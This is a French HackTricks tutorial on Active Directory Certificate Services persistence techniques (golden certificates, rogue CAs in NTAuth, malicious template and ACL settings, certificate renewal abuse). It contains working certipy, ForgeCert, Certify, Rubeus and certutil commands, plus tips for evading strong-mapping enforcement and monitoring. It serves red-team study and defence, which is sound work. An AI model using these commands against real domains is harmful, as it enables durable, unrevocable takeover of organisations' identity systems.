Persistance de domaine AD CS

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Ceci est un résumé des techniques de persistance de domaine partagées dans https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf. Consultez-le pour plus de détails.

Falsification de certificats avec des certificats CA volés (Golden Certificate) - DPERSIST1

Comment savoir qu’un certificat est un certificat CA ?

On peut déterminer qu’un certificat est un certificat CA si plusieurs conditions sont remplies :

  • Le certificat est stocké sur le serveur CA, sa clé privée étant protégée par le DPAPI de la machine, ou par un matériel tel qu’un TPM/HSM si le système d’exploitation le prend en charge.
  • Les champs Issuer et Subject du certificat correspondent au nom distinctif de la CA.
  • Une extension “CA Version” est présente exclusivement dans les certificats CA.
  • Le certificat ne possède pas de champs Extended Key Usage (EKU).

Pour extraire la clé privée de ce certificat, l’outil certsrv.msc sur le serveur CA est la méthode prise en charge via l’interface graphique intégrée. Néanmoins, ce certificat ne diffère pas des autres stockés dans le système ; par conséquent, des méthodes telles que la THEFT2 technique peuvent être appliquées pour l’extraction.

Le certificat et la clé privée peuvent également être obtenus avec Certipy en utilisant la commande suivante :

certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup

Après avoir acquis le certificat CA et sa clé privée au format .pfx, des outils comme ForgeCert peuvent être utilisés pour générer des certificats valides :

# Generating a new certificate with ForgeCert
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!

# Generating a new certificate with certipy
certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL'

# Authenticating using the new certificate with Rubeus
Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /password:Password123!

# Authenticating using the new certificate with certipy
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128

Warning

L’utilisateur ciblé pour la falsification de certificat doit être actif et capable de s’authentifier dans Active Directory pour que le processus réussisse. Falsifier un certificat pour des comptes spéciaux comme krbtgt est inefficace.

Ce certificat falsifié sera valide jusqu’à la date de fin spécifiée et tant que le certificat racine du CA est valide (généralement de 5 à 10+ ans). Il est aussi valable pour machines, donc combiné avec S4U2Self, un attaquant peut maintenir une persistance sur n’importe quelle machine du domaine aussi longtemps que le certificat CA est valide.
De plus, les certificats générés avec cette méthode ne peuvent pas être révoqués car le CA n’en a pas connaissance.

Fonctionnement sous Strong Certificate Mapping Enforcement (2025+)

Depuis le 11 février 2025 (après le déploiement de KB5014754), les contrôleurs de domaine sont configurés par défaut sur Full Enforcement pour les mappings de certificats. Concrètement, cela signifie que vos certificats falsifiés doivent soit :

  • Contenir un lien fort vers le compte ciblé (par exemple, l’extension de sécurité SID), ou
  • Être associés à un mapping fort et explicite dans l’attribut altSecurityIdentities de l’objet ciblé.

Une approche fiable pour la persistance consiste à générer un certificat falsifié chaîné au Enterprise CA volé, puis à ajouter un mapping explicite fort au principal victime:

# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
$Issuer  = 'DC=corp,DC=local,CN=CORP-DC-CA'           # reverse DN format expected by AD
$SerialR = '1200000000AC11000000002B'                  # serial in reversed byte order
$Map     = "X509:<I>$Issuer<SR>$SerialR"             # strong mapping format
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}

Remarques

  • Si vous pouvez fabriquer des certificats forgés qui incluent l’extension de sécurité SID, ceux-ci seront mappés implicitement même sous Full Enforcement. Sinon, privilégiez des mappings explicites et robustes. Voir account-persistence pour plus d’informations sur les mappings explicites.
  • La révocation n’aide pas les défenseurs ici : les certificats forgés sont inconnus de la base de données du CA et ne peuvent donc pas être révoqués.

Contrefaçon compatible Full-Enforcement (SID-aware)

Des outils mis à jour permettent d’intégrer directement le SID, ce qui maintient les golden certificates utilisables même lorsque les DCs rejettent des mappings faibles :

# Certify 2.0 integrates ForgeCert and can embed SID
Certify.exe forge --ca-pfx CORP-DC-CA.pfx --ca-pass Password123! \
--upn administrator@corp.local --sid S-1-5-21-1111111111-2222222222-3333333333-500 \
--outfile administrator_sid.pfx

# Certipy also supports SID in forged certs
certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local \
-sid S-1-5-21-1111111111-2222222222-3333333333-500 -out administrator_sid.pfx

En incorporant le SID, vous évitez d’avoir à toucher altSecurityIdentities, qui peut être surveillé, tout en satisfaisant les vérifications de mappage strictes.

Trusting Rogue CA Certificates - DPERSIST2

L’objet NTAuthCertificates est prévu pour contenir un ou plusieurs certificats CA dans son attribut cacertificate, utilisé par Active Directory (AD). Le processus de vérification par le contrôleur de domaine consiste à vérifier l’objet NTAuthCertificates pour une entrée correspondant à la CA spécifiée dans le champ Issuer du certificat authentifiant. L’authentification continue si une correspondance est trouvée.

Un certificat CA auto-signé peut être ajouté à l’objet NTAuthCertificates par un attaquant, à condition qu’il ait le contrôle de cet objet AD. Normalement, seuls les membres du groupe Enterprise Admin, ainsi que Domain Admins ou les Administrators du forest root’s domain, ont la permission de modifier cet objet. Ils peuvent éditer l’objet NTAuthCertificates en utilisant certutil.exe avec la commande certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA, ou en utilisant l’PKI Health Tool.

Commandes supplémentaires utiles pour cette technique :

# Add/remove and inspect the Enterprise NTAuth store
certutil -enterprise -f -AddStore NTAuth C:\Temp\CERT.crt
certutil -enterprise -viewstore NTAuth
certutil -enterprise -delstore NTAuth <Thumbprint>

# (Optional) publish into AD CA containers to improve chain building across the forest
certutil -dspublish -f C:\Temp\CERT.crt RootCA          # CN=Certification Authorities
certutil -dspublish -f C:\Temp\CERT.crt CA               # CN=AIA

Cette capacité est particulièrement pertinente lorsqu’elle est utilisée conjointement avec une méthode décrite précédemment impliquant ForgeCert pour générer dynamiquement des certificats.

Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in Full Enforcement, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in altSecurityIdentities). See AD CS Account Persistence.

Malicious Misconfiguration - DPERSIST3

Les opportunités pour persistence via des modifications des security descriptor des composants AD CS sont nombreuses. Les modifications décrites dans la section “Domain Escalation” peuvent être mises en œuvre de manière malveillante par un attaquant disposant d’un accès élevé. Cela inclut l’ajout de “control rights” (par ex., WriteOwner/WriteDACL/etc.) à des composants sensibles tels que :

  • L’objet ordinateur AD du serveur CA
  • Le serveur RPC/DCOM du serveur CA
  • Tout objet descendant AD ou conteneur dans CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM> (par exemple, le conteneur Certificate Templates, le conteneur Certification Authorities, l’objet NTAuthCertificates, etc.)
  • Groupes AD auxquels des droits sont délégués pour contrôler AD CS par défaut ou par l’organisation (comme le groupe intégré Cert Publishers et ses membres)

Un exemple d’implémentation malveillante impliquerait qu’un attaquant disposant de permissions élevées dans le domaine ajoute la permission WriteOwner au modèle de certificat par défaut User, l’attaquant étant le principal pour ce droit. Pour exploiter cela, l’attaquant changerait d’abord la propriété du modèle User pour se l’attribuer. Ensuite, le mspki-certificate-name-flag serait défini à 1 sur le modèle pour activer ENROLLEE_SUPPLIES_SUBJECT, permettant à un utilisateur de fournir un Subject Alternative Name dans la requête. Par la suite, l’attaquant pourrait enroll en utilisant le template, choisissant un nom de domain administrator comme nom alternatif, et utiliser le certificat acquis pour s’authentifier en tant que DA.

Réglages pratiques que les attaquants peuvent configurer pour une persistence à long terme dans le domaine (voir AD CS Domain Escalation pour les détails complets et la détection) :

  • Des flags de politique CA qui autorisent le SAN depuis les demandeurs (par ex., activation de EDITF_ATTRIBUTESUBJECTALTNAME2). Cela maintient exploitables les chemins de type ESC1.
  • DACL ou paramètres du template autorisant l’émission pour l’authentification (par ex., ajout de l’EKU Client Authentication, activation de CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT).
  • Contrôler l’objet NTAuthCertificates ou les conteneurs CA pour réintroduire continuellement des émetteurs malveillants si les défenseurs tentent un nettoyage.

Tip

Dans les environnements durcis après KB5014754, associer ces mauvaises configurations à des mappages explicites forts (altSecurityIdentities) garantit que les certificats émis ou forgés restent utilisables même lorsque les DCs appliquent un mappage strict.

Certificate renewal abuse (ESC14) for persistence

Si vous compromettez un certificat capable d’authentification (ou celui d’un Enrollment Agent), vous pouvez le renouveler indéfiniment tant que le template d’émission reste publié et que votre CA fait toujours confiance à la chaîne d’émetteurs. Le renouvellement conserve les liaisons d’identité originales tout en prolongeant la validité, rendant l’éviction difficile à moins que le template ne soit corrigé ou que la CA ne soit republiée.

# Renew a stolen user cert to extend validity
certipy req -ca CORP-DC-CA -template User -pfx stolen_user.pfx -renew -out user_renewed_2026.pfx

# Renew an on-behalf-of cert issued via an Enrollment Agent
certipy req -ca CORP-DC-CA -on-behalf-of 'CORP/victim' -pfx agent.pfx -renew -out victim_renewed.pfx

Si les contrôleurs de domaine sont en Full Enforcement, ajoutez -sid <victim SID> (ou utilisez un template qui inclut toujours l’extension de sécurité SID) afin que le certificat leaf renouvelé continue de correspondre fortement sans modifier altSecurityIdentities. Les attaquants disposant des droits d’administration de la CA peuvent aussi ajuster policy\RenewalValidityPeriodUnits pour allonger la durée de vie des certificats renouvelés avant de se délivrer eux-mêmes un certificat.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks